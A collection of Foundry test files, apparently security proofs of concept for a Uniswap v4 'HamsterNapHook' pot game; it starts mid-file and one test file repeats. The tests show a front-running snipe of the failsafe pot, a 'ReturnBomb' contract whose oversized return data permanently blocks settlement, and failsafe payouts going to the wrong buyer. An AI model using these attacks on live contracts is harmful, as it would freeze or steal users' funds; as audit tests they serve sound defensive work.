                IERC20(Currency.unwrap(c)).transfer(address(m), owe);
                m.settle();
            }
        } else if (a > 0) {
            m.take(c, address(this), uint256(uint128(a)));
        }
    }
}

contract FailsafeSnipeTest is Test {
    uint64 constant GENESIS = 1793022600;
    PoolManager manager;
    HamsterNapHook hook;
    NapToken token;
    MiniCore core;
    Router router;
    PoolKey key;
    address factory = makeAddr("factory");
    address winner = makeAddr("winner");
    address later = makeAddr("later");
    address sniper = makeAddr("sniper");

    function _start(uint64 round) internal pure returns (uint256) {
        return GENESIS + uint256(round - 1) * 600;
    }

    function setUp() public {
        vm.warp(_start(651) + 17);
        manager = new PoolManager(address(this));
        token = new NapToken();
        address hookAddr = address(uint160(0x4444000000000000000000000000000000000000) | uint160(0x20CC));
        deployCodeTo("HamsterNapHook.sol:HamsterNapHook", abi.encode(address(manager), factory), hookAddr);
        hook = HamsterNapHook(payable(hookAddr));
        core = MiniCore(address(hook.CORE()));
        vm.etch(address(core), address(new MiniCore()).code);
        core.set(649);
        key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(hookAddr));
        vm.prank(factory);
        manager.initialize(key, 79228162514264337593543950336);
        router = new Router(manager);
        vm.deal(address(router), 1_000 ether);
        token.transfer(address(router), 900_000_000 ether);
        router.addLiquidity(key, 100 ether);
    }

    function _buy(address who, uint256 eth) internal {
        vm.prank(who, who);
        router.swap(key, true, -int256(eth));
    }

    /// Once the failsafe opens, the last qualifying buyer cannot take the pot: anyone who lands a
    /// 0.001 ETH buy first becomes latestBuyer, and even the old buyer's own failsafe call pays them.
    function test_failsafeSnipedByAtomicBuy() public {
        _buy(winner, 1 ether); // last qualifying buyer before the core stalls, pot 0.02 ETH
        core.setWork(651, 500);
        vm.warp(block.timestamp + 7 days + 1);
        uint256 pot = hook.pot();
        _buy(sniper, 0.001 ether); // front-runs the old buyer's failsafe tx
        vm.prank(winner);
        hook.failsafe();
        assertGe(winner.balance, pot, "last buyer before the stall did not get the pot");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// @dev SqueekCore stand-in: every round has work except those marked asleep.
contract BombTestCore {
    uint64 public frontier;
    mapping(uint64 => bool) public asleep;

    function setFrontier(uint64 f) external { frontier = f; }
    function setAsleep(uint64 r, bool v) external { asleep[r] = v; }

    function state() external view returns (ISqueekCore.CoreState memory s) {
        s.settledThroughRound = frontier;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256)
        external
        view
        returns (ISqueekCore.RoundPage memory p)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        uint256 n;
        for (uint64 r = afterRound + 1; r <= throughRound; r++) if (!asleep[r]) n++;
        p.rounds = new ISqueekCore.RoundCheckpoint[](n);
        uint256 i;
        for (uint64 r = afterRound + 1; r <= throughRound; r++) {
            if (!asleep[r]) p.rounds[i++].roundId = r;
        }
        p.certifiedThroughRound = throughRound;
    }
}

/// @dev Code a winning wallet carries (an EIP-7702 delegation target on Sepolia): it answers an ETH
/// transfer with revert data sized to the gas it was given.
contract ReturnBomb {
    receive() external payable {
        assembly {
            let g := mul(div(gas(), 10), 9)
            // words n with n*n/512 ~= g  ->  n = sqrt(512 g)
            let x := mul(g, 512)
            let n := x
            let y := div(add(n, 1), 2)
            for {} lt(y, n) {} {
                n := y
                y := div(add(div(x, y), y), 2)
            }
            revert(0, mul(n, 32))
        }
    }
}

contract BombRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) { manager = m; }

    function swap(PoolKey memory key, bool zeroForOne, int256 amount) external {
        manager.unlock(abi.encode(false, abi.encode(key, zeroForOne, amount)));
    }

    function addLiquidity(PoolKey memory key, int256 liquidity) external {
        manager.unlock(abi.encode(true, abi.encode(key, liquidity)));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool liq, bytes memory inner) = abi.decode(data, (bool, bytes));
        BalanceDelta d;
        PoolKey memory key;
        if (liq) {
            int256 l;
            (key, l) = abi.decode(inner, (PoolKey, int256));
            (d,) = manager.modifyLiquidity(
                key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), l, 0), ""
            );
        } else {
            bool z;
            int256 a;
            (key, z, a) = abi.decode(inner, (PoolKey, bool, int256));
            d = manager.swap(
                key, SwapParams(z, a, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), ""
            );
        }
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return "";
    }

    function _settle(Currency c, int128 amount) private {
        if (amount < 0) {
            manager.sync(c);
            if (c.isAddressZero()) {
                manager.settle{value: uint128(-amount)}();
            } else {
                NapToken(Currency.unwrap(c)).transfer(address(manager), uint128(-amount));
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(c, address(this), uint128(amount));
        }
    }

    receive() external payable {}
}

contract ReturnBombTest is Test {
    uint64 constant GENESIS = 1793022600;
    uint160 constant FLAGS = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
        | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;

    PoolManager manager;
    NapToken token;
    HamsterNapHook hook;
    BombTestCore core;
    BombRouter router;
    PoolKey key;
    address factory = makeAddr("factory");
    address bomber = makeAddr("bomber");

    function start(uint64 r) internal pure returns (uint256) {
        return GENESIS + uint256(r - 1) * 600;
    }

    function setUp() public {
        vm.warp(start(650) + 17);
        manager = new PoolManager(address(this));
        token = new NapToken();
        bytes32 initHash = keccak256(
            abi.encodePacked(type(HamsterNapHook).creationCode, abi.encode(address(manager), factory))
        );
        for (uint256 i;; i++) {
            address p = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initHash))))
            );
            if (uint160(p) & Hooks.ALL_HOOK_MASK != FLAGS) continue;
            hook = new HamsterNapHook{salt: bytes32(i)}(IPoolManager(address(manager)), factory);
            break;
        }
        core = BombTestCore(address(hook.CORE()));
        vm.etch(address(core), address(new BombTestCore()).code);
        core.setFrontier(649);

        key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook)));
        vm.prank(factory);
        manager.initialize(key, 79228162514264337593543950336);

        router = new BombRouter(IPoolManager(address(manager)));
        vm.deal(address(router), 1_000 ether);
        token.transfer(address(router), 900_000_000 ether);
        router.addLiquidity(key, 100 ether);
    }

    /// The latest buyer's wallet (an EIP-7702 delegated EOA) answers the payout with a huge revert
    /// payload. The hook copies it into memory, runs out of gas and settleNaps reverts whatever gas
    /// the caller supplies, so the nap can never be settled and every later nap is stuck behind it.
    function test_returnBombWinnerBlocksSettleNaps() public {
        vm.etch(bomber, address(new ReturnBomb()).code);
        vm.prank(bomber, bomber);
        router.swap(key, true, -0.1 ether); // qualifying buy in round 650
        assertEq(hook.latestBuyer(), bomber);
        uint256 pot = hook.pot();
        assertGt(pot, 0);

        // Rounds 651..653 have zero work: a nap starting at 651, certified through 653.
        core.setAsleep(651, true);
        core.setAsleep(652, true);
        core.setAsleep(653, true);
        core.setFrontier(653);
        vm.warp(start(655));

        // Sepolia's block gas limit is 60M: try the realistic range of gas a caller can give.
        (bool ok30,) = address(hook).call{gas: 30_000_000}(abi.encodeCall(HamsterNapHook.settleNaps, (1)));
        (bool ok60,) = address(hook).call{gas: 60_000_000}(abi.encodeCall(HamsterNapHook.settleNaps, (1)));
        assertTrue(ok30 || ok60, "settleNaps cannot complete: a winner's return data blocks the game");
        assertEq(hook.napsSettled(), 1);
        assertEq(hook.pot(), 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// @dev SqueekCore stand-in: every round has work except those marked asleep.
contract BombTestCore {
    uint64 public frontier;
    mapping(uint64 => bool) public asleep;

    function setFrontier(uint64 f) external { frontier = f; }
    function setAsleep(uint64 r, bool v) external { asleep[r] = v; }

    function state() external view returns (ISqueekCore.CoreState memory s) {
        s.settledThroughRound = frontier;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256)
        external
        view
        returns (ISqueekCore.RoundPage memory p)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        uint256 n;
        for (uint64 r = afterRound + 1; r <= throughRound; r++) if (!asleep[r]) n++;
        p.rounds = new ISqueekCore.RoundCheckpoint[](n);
        uint256 i;
        for (uint64 r = afterRound + 1; r <= throughRound; r++) {
            if (!asleep[r]) p.rounds[i++].roundId = r;
        }
        p.certifiedThroughRound = throughRound;
    }
}

/// @dev Code a winning wallet carries (an EIP-7702 delegation target on Sepolia): it answers an ETH
/// transfer with revert data sized to the gas it was given.
contract ReturnBomb {
    receive() external payable {
        assembly {
            let g := mul(div(gas(), 10), 9)
            // words n with n*n/512 ~= g  ->  n = sqrt(512 g)
            let x := mul(g, 512)
            let n := x
            let y := div(add(n, 1), 2)
            for {} lt(y, n) {} {
                n := y
                y := div(add(div(x, y), y), 2)
            }
            revert(0, mul(n, 32))
        }
    }
}

contract BombRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) { manager = m; }

    function swap(PoolKey memory key, bool zeroForOne, int256 amount) external {
        manager.unlock(abi.encode(false, abi.encode(key, zeroForOne, amount)));
    }

    function addLiquidity(PoolKey memory key, int256 liquidity) external {
        manager.unlock(abi.encode(true, abi.encode(key, liquidity)));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool liq, bytes memory inner) = abi.decode(data, (bool, bytes));
        BalanceDelta d;
        PoolKey memory key;
        if (liq) {
            int256 l;
            (key, l) = abi.decode(inner, (PoolKey, int256));
            (d,) = manager.modifyLiquidity(
                key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), l, 0), ""
            );
        } else {
            bool z;
            int256 a;
            (key, z, a) = abi.decode(inner, (PoolKey, bool, int256));
            d = manager.swap(
                key, SwapParams(z, a, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), ""
            );
        }
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return "";
    }

    function _settle(Currency c, int128 amount) private {
        if (amount < 0) {
            manager.sync(c);
            if (c.isAddressZero()) {
                manager.settle{value: uint128(-amount)}();
            } else {
                NapToken(Currency.unwrap(c)).transfer(address(manager), uint128(-amount));
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(c, address(this), uint128(amount));
        }
    }

    receive() external payable {}
}

contract ReturnBombTest is Test {
    uint64 constant GENESIS = 1793022600;
    uint160 constant FLAGS = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
        | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;

    PoolManager manager;
    NapToken token;
    HamsterNapHook hook;
    BombTestCore core;
    BombRouter router;
    PoolKey key;
    address factory = makeAddr("factory");
    address bomber = makeAddr("bomber");

    function start(uint64 r) internal pure returns (uint256) {
        return GENESIS + uint256(r - 1) * 600;
    }

    function setUp() public {
        vm.warp(start(650) + 17);
        manager = new PoolManager(address(this));
        token = new NapToken();
        bytes32 initHash = keccak256(
            abi.encodePacked(type(HamsterNapHook).creationCode, abi.encode(address(manager), factory))
        );
        for (uint256 i;; i++) {
            address p = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initHash))))
            );
            if (uint160(p) & Hooks.ALL_HOOK_MASK != FLAGS) continue;
            hook = new HamsterNapHook{salt: bytes32(i)}(IPoolManager(address(manager)), factory);
            break;
        }
        core = BombTestCore(address(hook.CORE()));
        vm.etch(address(core), address(new BombTestCore()).code);
        core.setFrontier(649);

        key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook)));
        vm.prank(factory);
        manager.initialize(key, 79228162514264337593543950336);

        router = new BombRouter(IPoolManager(address(manager)));
        vm.deal(address(router), 1_000 ether);
        token.transfer(address(router), 900_000_000 ether);
        router.addLiquidity(key, 100 ether);
    }

    /// The latest buyer's wallet (an EIP-7702 delegated EOA) answers the payout with a huge revert
    /// payload. The hook copies it into memory, runs out of gas and settleNaps reverts whatever gas
    /// the caller supplies, so the nap can never be settled and every later nap is stuck behind it.
    function test_returnBombWinnerBlocksSettleNaps() public {
        vm.etch(bomber, address(new ReturnBomb()).code);
        vm.prank(bomber, bomber);
        router.swap(key, true, -0.1 ether); // qualifying buy in round 650
        assertEq(hook.latestBuyer(), bomber);
        uint256 pot = hook.pot();
        assertGt(pot, 0);

        // Rounds 651..653 have zero work: a nap starting at 651, certified through 653.
        core.setAsleep(651, true);
        core.setAsleep(652, true);
        core.setAsleep(653, true);
        core.setFrontier(653);
        vm.warp(start(655));

        // Sepolia's block gas limit is 60M: try the realistic range of gas a caller can give.
        (bool ok30,) = address(hook).call{gas: 30_000_000}(abi.encodeCall(HamsterNapHook.settleNaps, (1)));
        (bool ok60,) = address(hook).call{gas: 60_000_000}(abi.encodeCall(HamsterNapHook.settleNaps, (1)));
        assertTrue(ok30 || ok60, "settleNaps cannot complete: a winner's return data blocks the game");
        assertEq(hook.napsSettled(), 1);
        assertEq(hook.pot(), 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Zero-work core: every settled round had no work.
contract SleepyCore {
    uint64 public frontier;
    function setFrontier(uint64 f) external { frontier = f; }
    function state() external view returns (ISqueekCore.CoreState memory s) { s.settledThroughRound = frontier; }
    uint64 public constant worked = 650;
    function roundPage(uint64 afterRound, uint64 throughRound, uint256) external view returns (ISqueekCore.RoundPage memory p) {
        require(throughRound <= frontier, "bounds");
        p.certifiedThroughRound = throughRound;
        if (afterRound < worked && worked <= throughRound) {
            p.rounds = new ISqueekCore.RoundCheckpoint[](1);
            p.rounds[0].roundId = worked;
        }
    }
}

/// Code an EIP-7702-delegated EOA can run: accepts ETH and answers with as much return data as its gas allows.
contract ReturnBomb {
    fallback() external payable {
        uint256 g = gasleft();
        uint256 x = g * 512;
        uint256 r = x;
        uint256 y = (r + 1) / 2;
        while (y < r) { r = y; y = (r + x / r) / 2; }
        uint256 size = (r * 85 / 100) * 32;
        assembly { return(0, size) }
    }
}

contract MiniRouter is IUnlockCallback {
    IPoolManager immutable manager;
    constructor(IPoolManager m) { manager = m; }
    function swap(PoolKey memory key, bool zeroForOne, int256 amount) external {
        manager.unlock(abi.encode(true, abi.encode(key, zeroForOne, amount)));
    }
    function addLiquidity(PoolKey memory key, int256 liq) external {
        manager.unlock(abi.encode(false, abi.encode(key, zeroForOne_dummy(), liq)));
    }
    function zeroForOne_dummy() internal pure returns (bool) { return false; }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool isSwap, bytes memory inner) = abi.decode(data, (bool, bytes));
        (PoolKey memory key, bool z, int256 amt) = abi.decode(inner, (PoolKey, bool, int256));
        BalanceDelta d;
        if (isSwap) {
            d = manager.swap(key, SwapParams(z, amt, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        } else {
            (d,) = manager.modifyLiquidity(key, ModifyLiquidityParams(-887220, 887220, amt, 0), "");
        }
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return "";
    }
    function _settle(Currency c, int128 a) private {
        if (a < 0) {
            uint256 o = uint256(uint128(-a));
            manager.sync(c);
            if (c.isAddressZero()) manager.settle{value: o}();
            else { IERC20(Currency.unwrap(c)).transfer(address(manager), o); manager.settle(); }
        } else if (a > 0) manager.take(c, address(this), uint256(uint128(a)));
    }
    receive() external payable {}
}

contract FailsafeSkipsCertifiedNapTest is Test {
    uint64 constant GENESIS = 1793022600;
    uint160 constant FLAGS = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
        | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;

    function _start(uint64 round) internal pure returns (uint256) { return GENESIS + uint256(round - 1) * 600; }

    function test_failsafeMustNotPayACertifiedNapsPotToALaterBuyer() public {
        vm.warp(_start(650) + 17);
        PoolManager manager = new PoolManager(address(this));
        NapToken token = new NapToken();
        address factory = makeAddr("factory");
        bytes memory init = abi.encodePacked(type(HamsterNapHook).creationCode, abi.encode(manager, factory));
        bytes32 h = keccak256(init);
        HamsterNapHook hook;
        for (uint256 i; ; i++) {
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if (uint160(p) & Hooks.ALL_HOOK_MASK != FLAGS) continue;
            hook = new HamsterNapHook{salt: bytes32(i)}(manager, factory);
            break;
        }
        SleepyCore core = SleepyCore(address(hook.CORE()));
        vm.etch(address(core), address(new SleepyCore()).code);
        core.setFrontier(649);

        PoolKey memory key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12500, 60, IHooks(address(hook)));
        vm.prank(factory);
        manager.initialize(key, 79228162514264337593543950336);
        MiniRouter router = new MiniRouter(manager);
        vm.deal(address(router), 1_000 ether);
        token.transfer(address(router), 900_000_000 ether);
        router.addLiquidity(key, 100 ether);

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        vm.prank(alice, alice);
        router.swap(key, true, -1 ether); // round 650: alice is latest buyer, pot 0.02
        // Core certifies 651..653 with zero work: a nap starting at 651 that alice wins.
        core.setFrontier(653);
        vm.warp(_start(660));
        vm.prank(bob, bob);
        router.swap(key, true, -0.05 ether); // round 660: bob buys after the nap, fee 0.001
        // The core freezes at 653; nobody calls settleNaps for 7 days.
        vm.warp(block.timestamp + 7 days + 1);
        // Today failsafe pays bob 0.021 ETH, alice's 0.02 nap pot included.
        try hook.failsafe() {} catch {}
        try hook.settleNaps(1) {} catch {}
        // The certified nap's pot belongs to alice.
        assertEq(alice.balance, 0.02 ether, "certified nap winner robbed by failsafe");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {HookFlags} from "src/HookFlags.sol";

contract ProofRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swap(PoolKey memory key, bool zeroForOne, uint256 amountIn) external {
        manager.unlock(abi.encode(true, abi.encode(key, zeroForOne, amountIn)));
    }

    function addLiquidity(PoolKey memory key, int256 liquidity) external {
        manager.unlock(abi.encode(false, abi.encode(key, liquidity)));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (bool isSwap, bytes memory inner) = abi.decode(data, (bool, bytes));
        BalanceDelta delta;
        PoolKey memory key;
        if (isSwap) {
            (PoolKey memory k, bool zeroForOne, uint256 amountIn) = abi.decode(inner, (PoolKey, bool, uint256));
            key = k;
            uint160 limit = zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1;
            delta = manager.swap(key, SwapParams(zeroForOne, -int256(amountIn), limit), "");
        } else {
            (PoolKey memory k, int256 liquidity) = abi.decode(inner, (PoolKey, int256));
            key = k;
            (delta,) = manager.modifyLiquidity(
                key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), liquidity, 0), ""
            );
        }
        _settle(key.currency0, delta.amount0());
        _settle(key.currency1, delta.amount1());
        return "";
    }

    function _settle(Currency currency, int128 amount) private {
        if (amount < 0) {
            uint256 owedAmount = uint256(uint128(-amount));
            manager.sync(currency);
            if (currency.isAddressZero()) {
                manager.settle{value: owedAmount}();
            } else {
                IERC20(Currency.unwrap(currency)).transfer(address(manager), owedAmount);
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(currency, address(this), uint256(uint128(amount)));
        }
    }

    receive() external payable {}
}

/// Rule 5: "if the core's settledThroughRound has not advanced for 7 days, the last qualifying buyer can
/// take the pot." With a dead core the failsafe winner is frozen at the moment the failsafe first opened,
/// so every later qualifying buyer's fee is paid, failsafe after failsafe, to that stale buyer.
contract FailsafeStaleWinnerProof is Test {
    PoolManager manager;
    HamsterNapHook hook;
    ProofRouter router;
    PoolKey key;
    address factory = makeAddr("factory");
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address carol = makeAddr("carol");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1793022600 + 649 * 600 + 17); // round 650
        manager = new PoolManager(address(this));
        NapToken token = new NapToken();
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP
            | HookFlags.BEFORE_SWAP_RETURN_DELTA | HookFlags.AFTER_SWAP_RETURN_DELTA;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(HamsterNapHook).creationCode, abi.encode(address(manager), factory)));
        for (uint256 i;; i++) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
            );
            if (!HookFlags.matches(predicted, flags)) continue;
            hook = new HamsterNapHook{salt: bytes32(i)}(manager, factory);
            break;
        }
        // A dead core: every read reverts (PUSH0 PUSH0 REVERT).
        vm.etch(address(hook.CORE()), hex"5f5ffd");
        key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook)));
        vm.prank(factory);
        manager.initialize(key, 79228162514264337593543950336);
        router = new ProofRouter(manager);
        vm.deal(address(router), 1_000_000_000 ether);
        token.transfer(address(router), 900_000_000 ether);
        router.addLiquidity(key, 1_000_000 ether);
    }

    function _buy(address buyer, uint256 ethIn) internal {
        vm.prank(buyer, buyer);
        router.swap(key, true, ethIn);
    }

    function test_laterQualifyingBuyerTakesTheNextStalePot() public {
        _buy(alice, 1 ether);
        vm.warp(hook.failsafeOpensAt());
        hook.failsafe();
        assertEq(alice.balance, 0.02 ether);

        // The core is still dead. Bob buys 1 ETH a day later: he is now the last qualifying buyer and
        // the frontier has been still for well over 7 days.
        vm.warp(block.timestamp + 1 days);
        _buy(bob, 1 ether);
        assertEq(hook.latestBuyer(), bob);
        vm.warp(block.timestamp + 7 days + 1);
        vm.prank(carol);
        hook.failsafe();
        assertEq(bob.balance, 0.02 ether, "the last qualifying buyer takes the pot");
        assertEq(alice.balance, 0.02 ether, "the first failsafe winner is not paid again");
    }

    function test_qualifyingBuyerAfterOpeningIsNotLockedOut() public {
        // Only a dust buy before the failsafe opens: no qualifying buyer yet.
        _buy(alice, 0.0005 ether);
        vm.warp(hook.failsafeOpensAt() + 1);
        _buy(bob, 1 ether); // the only qualifying buyer
        vm.warp(block.timestamp + 7 days + 1);
        hook.failsafe(); // reverts NoQualifyingBuyer forever while the core is dead
        assertEq(bob.balance, 0.02 ether + 0.00001 ether);
    }
}